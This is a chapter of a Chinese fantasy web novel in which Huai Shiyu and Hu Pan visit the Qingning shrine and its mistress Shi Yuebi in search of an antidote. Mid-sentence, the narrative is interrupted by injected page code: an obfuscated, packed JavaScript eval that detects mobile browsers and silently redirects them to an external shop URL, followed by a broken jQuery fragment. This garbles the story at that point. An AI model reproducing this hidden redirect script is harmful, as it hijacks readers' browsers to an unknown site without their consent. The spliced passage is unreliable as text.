第二天清晨,酒楼继续装修,伴随着叮叮当当的施工声,几人整装出发。

    怀饰愚手下只带了倩一人。

    倩还是习惯当马夫,在前面驾车。怀饰愚和胡盼安安稳稳地在车里待着。

    随着颠簸,车里轻微地晃来悠去,怀饰愚发觉这场面似曾相识,上次胡盼因为抢孩子,跟她们起了冲突,转眼间就又乘同一辆车。

    而此刻,却是友非敌,真是天意难测。

    两人偶然的一对视,胡盼好像也察觉到了这番微妙。

    胡盼发问:“愚老板跟我姐姐认识吗?”

    怀饰愚:“胡乙聆幼年得道,谁人不知?听闻她天资卓绝,将来有飞升成仙的际遇,我还没见过仙女呢,看看能不能沾沾仙气。”

    胡盼若有所思道:“她……错过了。”

    怀饰愚不解:“什么叫错过了?”

    胡盼:“就是归入凡尘,与你我一样是个普通凡人。”

    怀饰愚不由得发问:“你与胡聆一母同胞,那你有没有仙缘呢?”

    胡盼被问得发懵,反思道:“大概没有吧。我记得在小时候,父亲曾把我们三个都带到觉缭山,首衘给每位仙客、还有世家子弟都推算过仙缘,之后辅衘再算一次,并加以佐证。最终算出只有极个别人有飞升的可能,我姐姐被点到了,还有祝美遇,傅老的千金,清风辞的唐懂歧,还有几个人我一时间忘了。不过这么多年了,好像没一个人能应验的。看来首衘的推算也有疏漏的时候。”

    怀饰愚:“首衘是先知者,他统领觉缭这么多年来,没有一次疏漏。再等等,说不定你姐姐的仙缘还有呢?”

    胡盼:“但愿吧。”

    ……

    来到清宁祠,马车停靠,落下了踩脚凳,倩仪式感十足地搭着怀饰愚的手,扶她下马车。

    清宁祠,水饮山泉,灵秀宝地,来到此处便可气定神闲。道观外排着长队,由专人登记访客明细。

    胡盼抬头看着字体娟秀的匾额,念道:“清宁祠,清风辞。这俩名号如此相似,清风辞作为正统相府,竟然能放任其招摇于世?这座清宁祠什么来头?”

    众所周知,清风辞现任的相君是个叶品,被戏称为“叶品相君”,致使他所执掌的清风辞,在任期间,不能出一个花品。毕竟相君是个叶品,手底下要出花品的话,那不是打相君的脸吗?

    可就算如此,也丝毫不影响“当时”清风辞的霸主地位。

    对此,外界有两种声音,“无能”与“藏拙”,各人怎么看就仁者见仁、智者见智了。

    不能否认的是,清风辞这个叶品相君小心眼得很,眼皮子底下既然容不下一个“花品”,又怎能容得下一个蹭自己相府名号的小观呢?

    怀饰愚:“清风辞原有个旧名,音同字不同,叫‘清风祠’,祠堂的祠。这座相府,最初靠行医救世立足,主张‘死路一条,折路而返’,后世以‘百家祠’闻名天下,后为附庸风雅,把清风祠的名号改成了‘不辞攀折苦,为入管乐声’的‘辞’,颇有些文人骚骨的意味。清宁祠的主人据说曾是清风辞的仙客,叛出师门,自立门户,才有了这座小观。”

    胡盼:“那不跟东风面一样吗?我记得东风面的姣梵相君和挽苗仙尊,她俩不就是叛出清风辞后,自立门户,才有的东风面吗?”

    怀饰愚:“对,所以众人猜想,这座清宁祠会不会成为第二个东风面。”

    胡盼:“有了东风面的前车之鉴,清风辞真不怕第六座相府拔地而起,与自己分得一杯羹吗?”

    倩听见胡盼说的“第六座相府”后,看了怀饰愚一眼。

    怀饰愚注意到了倩的眼神,干咳一声:“这么多年了,清宁祠好端端地立在这儿,安然无恙,可见其非常手段了。去会会?”

    胡盼点头:“嗯。”

    怀饰愚和胡盼登记完,领了号牌,跟在长队尾巴后面,听前面的人抱怨排队排得久。

    胡盼探头问道:“你们排多久了?”

    前面的大娘:“天不亮就来了,看你站这儿也老半天了,你也看到了,这队伍就没动过,难呐。”

    怀饰愚:“他们的药真有这么灵?”

    大娘:“灵,观里的药可是有效得很,只不过现在流行的毒症是另一种,之前的药不管用了。这不是,全都得重新排过。”

    怀饰愚:“我听说这药有市无价,我们家中有病人,病得很重,也是没办法了来碰碰运气。请问这药该怎么求,胜算才能大些?”

    大娘:“也是看运气,这清宁祠的主人有两位,是一对师姐妹,观主号称“施月璧”,能耐不小,这药就是她给配出来的,只是她性情古怪,若是她来施药,便是见人下菜碟,也随心情好坏,对上哪天她心情好,就给的多些。”说到此处,大娘脸上眉皱得呀,随后又道,“可她的师妹好说话,当日灵药有多少便给多少,瞧着就是个水灵的女娃儿,香客都尊称她为‘灵芝仙子’。”

    话里话外,满满的欣赏。

    大娘前后两种面孔,褒一位,贬一位,也是显现出这对师姐妹的不同之处。

    怀饰愚冲胡盼小声道:“元家看这小观不入流,曾驳过清宁祠的面子,一会儿千万别提是元家的病人,一律就说是自己家里人生病了。”

    胡盼点头:“好。”

    过了好一会儿,有个道童略过人海,走进说道:“五百七十一号,我们观主有请。”

    胡盼看了一眼道童,发现道童的眼神没有锁定某人,只是朝着一个方向又唤了一遍:“五百七十一号,我们观主有请。”

    胡盼指着怀饰愚手里的牌子:“五百七十一,咱们。”

    怀饰愚反应过来,看了一遍牌号:“哦,我们……这么快就到我们了?”

    道童面无表情,专程引路:“请随我来。”

    到了前门,有男女各一位的门童守门。

    领路的道童特意点道:“请三位把随身的险兵利器,暂时托于清宁祠保管,等会客完毕,我们自会奉还。”

    想进去,还得把兵器交出去?

    这心里难免不安,胡盼心想:搞这么大阵仗,要刺杀你还是怎地?

    倩把佩剑暂存,胡盼瞧见后,也只好把随身的长鞭与佩剑暂存。

    接下来,门口的两位门童分别搜身。

    听闻要搜身,胡盼心里更不满了,可看怀饰愚已经张开手,让女童搜身,他便也没了怨气,也顺理成章地让另一位男童搜身。

    搜身的女童很仔细,把怀饰愚头上的簪子,耳上的流苏耳坠也取下。

    待搜到倩这边时,胡盼不经意地看见她手上的手环。

    哪怕胡盼离家好久了,一眼便认出了“匕首环”,这是他从小把玩的玩具,手环镶嵌了几块宝石,看上去精美无比,内含利刃。用时,一颗机关宝石摁下去,立直就是一把匕首,不用时弯折在手腕上,就是一个普通的手环。

    相传,它的主人曾在一场宫宴上刺杀当朝国主,他躲过了宫人的层层检查,凭借隐蔽利刃,出其不意,最终刺杀成功。

    手环的主人最终身死,手环也销声匿迹。再现世时,胡盼的父亲花重金买下了它。

    由于匕首环历经千年,本就是重隐蔽、轻做工的一次性兵器,到胡寺承手里时,已经是锈迹斑斑的古物了。

    胡寺承找工匠择优,历经几次改良,做了一批一模一样的手环。

    胡盼小时候好奇,要了一个手环把玩,套在了脖子上,扣下来一颗宝石,正巧就是机关宝石。

    胡盼怕人发现自己的窘迫,自己撬了好久,折腾了大半天,累得个半死,是怎么也取不下来。留了好多血,当时胡盼以为自己就要交代在那儿了,后来找专人撬开,至今脖子上还有一道伤疤呢。

    所以这个手环,他一辈子也忘不了。

    但斛牢关的仙客可不是人人都有手环的,只有“有功”的人才能拥有。

    胡盼不禁怀疑这个“护卫”的来历。

    联想到她之前与自己第一次正面交手时,倩熟知斛牢关护心甲的弱点,使的招式里也有胡家功法的影子,胡盼心里便笃定了这个“护卫”与胡家有关系。

    既然护卫与胡家有关系,那她的主人……这位愚老板,恐怕与胡家也有些关系。

    胡盼盯着倩的手镯,出神

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846226|211458||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    看了许久。他心里藏不住事儿,那点心思全摆在脸上。

    胡盼一转眼,发现怀饰愚正在看自己,他自己心虚地连忙望向别处。

    怀饰愚看见后,一笑了之。

    几人跟着道童入观,一路上,好多病人被横七竖八地摆在地上,哀嚎着,很痛苦。看病症,应该还是中了“水腹”的毒。

    路的尽头,一位道姑浇灌着一株金梅,仙风道骨,悠然自得,看不出一丝慌乱。

    道童驻足:“观主,人已经带到。”

    观主?原来眼前这位就是施月璧。

    真是人如其名,天上恍若白玉盘,窃取仙姑傲然色。那人洁白而无它色的道袍,一双白玉青葱的手,像极了古画里的挽扇佳人。

    胡盼:“久仰道长名号,我等此番前来……”

    施月璧还在悠哉地浇灌金梅,满不在意道:“来我这里的香客,都是为药而来。可现下,我也爱莫能助。”

    胡盼:“为何?”

    施月璧:“库存的丹药已经见底,暂不外销,观外的访客也只能求得一场空。”

    胡盼:“既然如此,为何我们会进来?”

    施月璧停下手里动作,回头道:“祝仙守曾有恩于我们清宁祠,我赠你一瓶解毒丹药以还恩情。”

    原来是看在祝美遇的面上,才放几人进来的。

    胡盼:“……多谢。”

    施月璧:“不过只能解‘水腹’之毒,且是症状较轻的。稍重一点的病症,就像你们一路上看到的病人,如这般的,这药就没用了。”

    胡盼:“可我们求的是‘梨僵’的解药。”

    施月璧:“那我也没办法了。”

    怀饰愚:“众所周知,道长的灵丹是最有效的,为何现在只能解轻症之毒?”

    施月璧:“制造丹药的原料断了。”

    胡盼:“有哪几味,我们去找。”

    施月璧笑了:“倘若真这么好找,普天之下,就不会只有我这儿有解药了。”

    道童送来了一瓶解药,施月璧转交给胡盼,并道出缘由:“这药有好几种原料断了,其它的都好说,替代品也可顶上,只是有一种东西独一无二,断了就是断了,缺了它,就算炼出来也是废物。”

    怀饰愚:“哭遥藤吗?”

    施月璧一惊,迟疑后点头道:“不错。愿山一场大火,哭遥藤绝种了,只有它浓炼成汁,才能发挥药效。元链死了,我的货源也断了,这药成不了。”

    原来元家与清宁祠事先有交易,元链建造镇妖塔,是为了给货源。

    怀饰愚:“需要多少哭遥藤?”

    施月璧指着眼前的金梅:“大概顶这个一千株吧。”

    胡盼听后直接傻眼了:“啊?”

    怀饰愚看着施月璧时常把弄的这株黑刺金梅,说道:“这株金梅好特别啊。”

    施月璧:“此物名叫‘玄针金梅’。它还有个别称,叫‘脏玄’,”

    怀饰愚听到“脏玄”这个名字,心跳得砰砰快。

    施月璧:“它是火狮腥的唯一克星,相传已经绝迹了,但还是被我寻到,后来我重金买下了它,栽到了这里。”她一手托着手帕,一手修剪一株金梅。

    一并天的教徒日常统一佩戴的额间饰,是一只嵌着金羽的黑鹰,鹰嘴叮着教徒额头,双翼大展,且黑鹰双翼拴链,链子藏在发丝里。

    黑鹰是他们的精神图腾。佩戴额间,意在无惧天敌。

    所以怀饰愚一直找寻的脏玄,一直以为是只鸟,原来是一株金梅。

    以玄鸟混淆视听,一并天还真是狡猾。

    施月璧剪下的金梅掉在了手帕中,塞到了香囊里,交给了胡盼。

    施月璧:“戴着这个,能祛毒。”

    胡盼拿着香囊,不见得有多信这个东西。

    施月璧想想后:“既然你要解梨僵之毒,还有个办法。”

    胡盼:“什么办法?”

    施月璧:“明珠府将梨江人祸之事通天,晓谕诸神。天公见怜,清风辞锦时县,毒源地梨江,三日后便要天降灵鱼,食此鱼者,可解凡间祸毒,你们不妨去试试。”